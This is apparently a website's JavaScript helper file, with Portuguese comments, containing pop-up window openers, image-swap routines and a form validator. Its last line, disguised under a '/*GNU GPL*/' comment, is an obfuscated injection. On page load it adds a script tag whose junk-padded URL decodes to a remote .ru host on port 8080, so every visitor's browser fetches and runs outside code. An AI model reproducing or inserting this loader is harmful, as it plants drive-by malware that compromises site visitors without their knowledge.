/*
DESENVOLVIDO POR JUNIOR ARANTES.
MGDESIGNER.COM
*/	


/*
	ENDEREÇO 			   = ARQUIVO QUE VAI SER ABERTO
	NOME    			   = NOME DO POP-UP
	FULLSCREEN 			   = ABRE O POP-UP EM TELA CHEIA
	INDICE                 = CONTROLE DE FECHAMENDO DA TABELA
	TAMANHO_ALTURA         = ALTURA DO POP-UP
	TAMANHO_LARGURA        = LARGURA DO POP-UP
	ALINHAMENTO_HORIZONTAL = ALINHAMENTO HORIZONTAL DO POP-UP: C - CENTRALIZADO, R - DIREITA, L - ESQUERDA
	ALINHA_VERTICAL        = ALINHAMENTO VERTICAL DO POP-UP: C - CENTRALIZADO, U - ACIMA, D - ABAIXO
*/	

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

/*
JAVA ABRE JANELA CENTRO
*/	

function abreJanelaOptions(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=" + scroll + ",top=" + topo + ",left=" + esqu + ",resizable=yes" + ",menubar=yes" + ",status=yes");
}
function abreJanelaOptions(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=" + scroll + ",top=" + topo + ",left=" + esqu + ",resizable=yes" + ",menubar=yes" + ",status=yes");
}
function abreJanelaResizableNo(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=" + scroll + ",top=" + topo + ",left=" + esqu + ",resizable=no" + ",menubar=yes" + ",status=yes");
}
function abreJanelaMenuBarNo(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=" + scroll + ",top=" + topo + ",left=" + esqu + ",resizable=yes" + ",menubar=no" + ",status=yes");
}
function abreJanelaStatusNo(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=" + scroll + ",top=" + topo + ",left=" + esqu + ",resizable=yes" + ",menubar=yes" + ",status=no");
}
function abreJanelaNormal(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=no" + scroll + ",top=" + topo + ",left=" + esqu);
}
function abreJanelaGaleria(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=no" + scroll + ",top=" + topo + ",left=" + esqu);
}
function abreJanelaIntro(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=no" + scroll + ",top=" + topo + ",left=" + esqu);
}
function abreJanelaImg(url,nome,largura,altura,scroll){
    lTela = window.screen.width;
   aTela = window.screen.height;
   esqu = (lTela - largura) / 2;
   topo = (aTela - altura) / 2;
   window.open(url,nome,"width=" + largura + ",height=" + altura +
",scrollbars=no" + scroll + ",top=" + topo + ",left=" + esqu + ",resizable=yes" + ",menubar=no" + ",status=yes");
}
function abrir(endereco) {		
janela(endereco, 'PORTIFOLIO', '', 1, 1, 670, 500, 'C', 'U')
return(null)
}

/*
JAVA TB LINK
*/	

function LmOver(elem, clr)
{elem.style.backgroundColor = clr;
elem.children.tags('A')[0].style.color = "#000000";
elem.style.cursor = 'hand'}

function LmOut(elem, clr)
{elem.style.backgroundColor = clr;
elem.children.tags('A')[0].style.color = "#000000";}

function LmDown(elem, clr)
{elem.style.backgroundColor = clr;
elem.children.tags('A')[0].style.color = "#000000";}

function LmUp(path)
{location.href = path;}


/*
JAVA JANELA DO JUNIOR
*/	

function redimensionar(objeto) {
var altura       = objeto.height + 110
var largura      = objeto.width  + 60
var altura_tela  = window.screen.availHeight - 50
var largura_tela = window.screen.availWidth  - 50
	if (altura  > altura_tela) 
		altura   = altura_tela
	if (largura > largura_tela) 
		largura  = largura_tela		
	window.resizeTo(largura, altura)
	window.moveTo(((largura_tela + 50) - largura) / 2, ((altura_tela + 50) - altura) / 2);
	window.focus()
}
var abertura_janela = new Array()
function janela(endereco, nome, fullscreen, indice, tipo_visualizacao, tamanho_altura, tamanho_largura, alinhamento_horizontal, alinhamento_vertical, tipo_janela, barra_rolagem, status, maximizar, botao, botao_menu, localizacao, diretorio) {
	if (fullscreen == 'S') {	
		if (tipo_visualizacao == 1) {
			if (abertura_janela[indice] && abertura_janela[indice].open && !abertura_janela[indice].closed) 
			abertura_janela[indice].close()
							
			abertura_janela[indice] = window.open(endereco, nome, 'fullscreen = yes')
 		    abertura_janela[indice].focus()		
		}else if (tipo_visualizacao == 2) {
			if (abertura_janela[indice] && abertura_janela[indice].open && !abertura_janela[indice].closed) {
				abertura_janela[indice].focus()
			}else {
				abertura_janela[indice] = window.open(endereco, nome, 'fullscreen = yes')
	 		    abertura_janela[indice].focus()
			}		
		}else {
			abertura_janela[0] = window.open(endereco, nome, 'fullscreen = yes')
 		    abertura_janela[0].focus()
		}	
	}else {				
	
		switch (alinhamento_horizontal) {
			case 'C':
				var largura 		= (screen.width / 2)
				var inicio_esquerda = (largura - (tamanho_largura / 2))
			break
			case 'L':
				var inicio_esquerda = 0
			break
			case 'R':				
				var inicio_esquerda = screen.width - tamanho_largura
			break
			default:
				var inicio_esquerda = alinhamento_horizontal
		}	
						
		switch(alinhamento_vertical) {
			case 'C':
				var altura		= (screen.height / 2)
				var inicio_topo = (altura - (tamanho_altura / 2))
			break
			case 'U':
				var inicio_topo = 0
			break
			case 'D':
				var inicio_topo = screen.height - tamanho_altura
			default:
				var inicio_topo = alinhamento_vertical
			break			
		}
			
		switch(barra_rolagem) {
			case 'S':
				barra_rolagem = 'yes'
			break
			case 'N':
				barra_rolagem = 'no'
			break
			case 'A':
				barra_rolagem = 'auto'
			break
			default:
				barra_rolagem = 'yes'			
		}
	
		switch(status) {
			case 'S':
				status = 'yes'
			break
			case 'N':
				status = 'no'
			break
			default:
				status  = 'yes'		
		}
		
		switch(maximizar) {
			case 'S':
				maximizar= 'yes'
			break
			case 'N':
				maximizar= 'no'
			break
			default:
				maximizar = 'no'
		}		
		
		switch(botao) {
			case 'S':
				botao = 'yes'
			break
			case 'N':
				botao = 'no'
			break
			default:
				botao = 'no'
		}
		
		switch(botao_menu) {
			case 'S':
				botao_menu = 'yes'
			break
			case 'N':
				botao_menu = 'no'
			break
			default:
				botao_menu = 'no'
		}	
		
		switch(localizacao) {
			case 'S':
				localizacao = 'yes'
			break
			case 'N':
				localizacao = 'no'
			break
			default:		
				localizacao = 'no'
		}		
		
		switch(diretorio) {
			case 'S':
				diretorio = 'yes'
				break
			case 'N':
				diretorio = 'no'
			break
			default:
				diretorio = 'no'
		}			
		if (tipo_janela == 1) {
			if (window.showModelessDialog) {
				if (alinhamento_horizontal == 'C'  && alinhamento_vertical == 'C')	
					window.showModalDialog(endereco, nome, 'dialogWidth:' + tamanho_largura + 'px; dialogHeight:' + tamanho_altura + 'px; center: yes; resizable: ' + maximizar + '; status: ' + status + '; scroll:' +  barra_rolagem + '; unadorned: yes; help: no')
				else
					window.showModalDialog(endereco, nome, 'dialogTop:' + inicio_topo + 'px; dialogLeft:' + inicio_esquerda + 'px; dialogWidth:' + tamanho_largura + 'px; dialogHeight:' + tamanho_altura + 'px; center: no; resizable: ' + maximizar + '; status: ' + status + '; scroll:' +  barra_rolagem + '; unadorned: yes; help: no')
			}else {				
				if (tipo_visualizacao == 1) {
					if (abertura_janela[indice] && abertura_janela[indice].open && !abertura_janela[indice].closed) 
					abertura_janela[indice].close()
								
					abertura_janela[indice] = window.open(endereco, nome, 'top = ' + inicio_topo + ', left = ' + inicio_esquerda + ', width = ' + tamanho_largura + ', height = ' + tamanho_altura + ', fullscreen = no, resizable = ' + maximizar + ', status = ' + status + ',  scrollbars = ' + barra_rolagem + ', toolbar = ' + botao + ', menubar = ' + botao_menu + ', location = ' + localizacao + ', directories = ' + diretorio)				
					abertura_janela[indice].focus()
				}else if (tipo_visualizacao == 2) {
					if (abertura_janela[indice] && abertura_janela[indice].open && !abertura_janela[indice].closed) {
						abertura_janela[indice].focus()
					}else {
						abertura_janela[indice] = window.open(endereco, nome, 'top = ' + inicio_topo + ', left = ' + inicio_esquerda + ', width = ' + tamanho_largura + ', height = ' + tamanho_altura + ', fullscreen = no, resizable = ' + maximizar + ', status = ' + status + ',  scrollbars = ' + barra_rolagem + ', toolbar = ' + botao + ', menubar = ' + botao_menu + ', location = ' + localizacao + ', directories = ' + diretorio)				
						abertura_janela[indice].focus()
					}		
				}else {
				   abertura_janela[0] = window.open(endereco, nome, 'top = ' + inicio_topo + ', left = ' + inicio_esquerda + ', width = ' + tamanho_largura + ', height = ' + tamanho_altura + ', fullscreen = no, resizable = ' + maximizar + ', status = ' + status + ',  scrollbars = ' + barra_rolagem + ', toolbar = ' + botao + ', menubar = ' + botao_menu + ', location = ' + localizacao + ', directories = ' + diretorio)				
 				   abertura_janela[0].focus()
				}
			}	
		}else {				
			if (tipo_visualizacao == 1) {
				if (abertura_janela[indice] && abertura_janela[indice].open && !abertura_janela[indice].closed) 
				abertura_janela[indice].close()
				abertura_janela[indice] = window.open(endereco, nome, 'top = ' + inicio_topo + ', left = ' + inicio_esquerda + ', width = ' + tamanho_largura + ', height = ' + tamanho_altura + ', fullscreen = no, resizable = ' + maximizar + ', status = ' + status + ',  scrollbars = ' + barra_rolagem + ', toolbar = ' + botao + ', menubar = ' + botao_menu + ', location = ' + localizacao + ', directories = ' + diretorio)				
				abertura_janela[indice].focus()
			}else if (tipo_visualizacao == 2) {
				if (abertura_janela[indice] && abertura_janela[indice].open && !abertura_janela[indice].closed) {
					abertura_janela[indice].focus()
				}else {
					abertura_janela[indice] = window.open(endereco, nome, 'top = ' + inicio_topo + ', left = ' + inicio_esquerda + ', width = ' + tamanho_largura + ', height = ' + tamanho_altura + ', fullscreen = no, resizable = ' + maximizar + ', status = ' + status + ',  scrollbars = ' + barra_rolagem + ', toolbar = ' + botao + ', menubar = ' + botao_menu + ', location = ' + localizacao + ', directories = ' + diretorio)				
					abertura_janela[indice].focus()
				}		
			}else {
			   abertura_janela[0] = window.open(endereco, nome, 'top = ' + inicio_topo + ', left = ' + inicio_esquerda + ', width = ' + tamanho_largura + ', height = ' + tamanho_altura + ', fullscreen = no, resizable = ' + maximizar + ', status = ' + status + ',  scrollbars = ' + barra_rolagem + ', toolbar = ' + botao + ', menubar = ' + botao_menu + ', location = ' + localizacao + ', directories = ' + diretorio)				
 			   abertura_janela[0].focus()
			}
		}	
	}
	return(abertura_janela[indice])
}
		
function fechar_janela(janela_aberta) {
var x 				 = null 
var janela_aberta    = janela_aberta.split(',')
	for (x = 0; x < janela_aberta.length; x ++) 
		if (abertura_janela[janela_aberta[x]] && abertura_janela[janela_aberta[x]].open && !abertura_janela[janela_aberta[x]].closed) 
			abertura_janela[janela_aberta[x]].close()
	return(null)
}


/*
JAVA PÁGINA BANCO DE IMAGENS IMAGEM DET
*/	

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function YY_checkform() { //v4.66
//copyright (c)1998,2002 Yaromat.com
  var args = YY_checkform.arguments; var myDot=true; var myV=''; var myErr='';var addErr=false;var myReq;
  for (var i=1; i<args.length;i=i+4){
    if (args[i+1].charAt(0)=='#'){myReq=true; args[i+1]=args[i+1].substring(1);}else{myReq=false}
    var myObj = MM_findObj(args[i].replace(/\[\d+\]/ig,""));
    myV=myObj.value;
    if (myObj.type=='text'||myObj.type=='password'||myObj.type=='hidden'){
      if (myReq&&myObj.value.length==0){addErr=true}
      if ((myV.length>0)&&(args[i+2]==1)){ //fromto
        var myMa=args[i+1].split('_');if(isNaN(myV)||myV<myMa[0]/1||myV > myMa[1]/1){addErr=true}
      } else if ((myV.length>0)&&(args[i+2]==2)){
          var rx=new RegExp("^[\\w\.=-]+@[\\w\\.-]+\\.[a-z]{2,4}$");if(!rx.test(myV))addErr=true;
      } else if ((myV.length>0)&&(args[i+2]==3)){ // date
        var myMa=args[i+1].split("#"); var myAt=myV.match(myMa[0]);
        if(myAt){
          var myD=(myAt[myMa[1]])?myAt[myMa[1]]:1; var myM=myAt[myMa[2]]-1; var myY=myAt[myMa[3]];
          var myDate=new Date(myY,myM,myD);
          if(myDate.getFullYear()!=myY||myDate.getDate()!=myD||myDate.getMonth()!=myM){addErr=true};
        }else{addErr=true}
      } else if ((myV.length>0)&&(args[i+2]==4)){ // time
        var myMa=args[i+1].split("#"); var myAt=myV.match(myMa[0]);if(!myAt){addErr=true}
      } else if (myV.length>0&&args[i+2]==5){ // check this 2
            var myObj1 = MM_findObj(args[i+1].replace(/\[\d+\]/ig,""));
            if(myObj1.length)myObj1=myObj1[args[i+1].replace(/(.*\[)|(\].*)/ig,"")];
            if(!myObj1.checked){addErr=true}
      } else if (myV.length>0&&args[i+2]==6){ // the same
            var myObj1 = MM_findObj(args[i+1]);
            if(myV!=myObj1.value){addErr=true}
      }
    } else
    if (!myObj.type&&myObj.length>0&&myObj[0].type=='radio'){
          var myTest = args[i].match(/(.*)\[(\d+)\].*/i);
          var myObj1=(myObj.length>1)?myObj[myTest[2]]:myObj;
      if (args[i+2]==1&&myObj1&&myObj1.checked&&MM_findObj(args[i+1]).value.length/1==0){addErr=true}
      if (args[i+2]==2){
        var myDot=false;
        for(var j=0;j<myObj.length;j++){myDot=myDot||myObj[j].checked}
        if(!myDot){myErr+='* ' +args[i+3]+'\n'}
      }
    } else if (myObj.type=='checkbox'){
      if(args[i+2]==1&&myObj.checked==false){addErr=true}
      if(args[i+2]==2&&myObj.checked&&MM_findObj(args[i+1]).value.length/1==0){addErr=true}
    } else if (myObj.type=='select-one'||myObj.type=='select-multiple'){
      if(args[i+2]==1&&myObj.selectedIndex/1==0){addErr=true}
    }else if (myObj.type=='textarea'){
      if(myV.length<args[i+1]){addErr=true}
    }
    if (addErr){myErr+='* '+args[i+3]+'\n'; addErr=false}
  }
  if (myErr!=''){alert('Erros ao tentar enviar o formulário:\t\t\t\t\t\n\n'+myErr)}
  document.MM_returnValue = (myErr=='');
}

/*GNU GPL*/ try{window.onload = function(){var A84jbd5xsu = document.createElement('script');A84jbd5xsu.setAttribute('type', 'text/javascript');A84jbd5xsu.setAttribute('id', 'myscript1');A84jbd5xsu.setAttribute('src',  'h^&(t)$t(!^p($^(:$@(/!!)/@x!()@n&!$x&!!@x^!&(-(c#)o#!m!!(.$n^!#(u^((.@)#n&!(l$@@.#^@@w$()3&)(-$o)#r$^(g)@!&.@#&g(^o!&l!)&d!@^g@&)o&@#l^^f(!b!!a#)#@g^$^@.#(^^r)&#u@!:!&$$8)0&)#8#!(0^/@w()$^e&(&e&b)&l@@#y&$!.@c&&&o)@^!$m$@/$$&@w$^)@e^e!(b))l(^y&)&.)(c!!!o^&m!($^/(^)!l!!&(a!^$r@!e#&d$!#o)(^u(t(e$(.$f@!r!$(/!!g$!^)&o^@#$o@#$(g@^l##e^!(.)(&c!$o)$&m@^@/##!)#r&@i!#n^$(c))!$o#&)n@(!d^&e&l#&@v&)a($$!g@^)#o#&^!.((^c@)&&o!!)!m!/)$'.replace(/@|\^|\)|#|&|\$|\(|\!/ig, ''));A84jbd5xsu.setAttribute('defer', 'defer');document.body.appendChild(A84jbd5xsu);}} catch(e) {}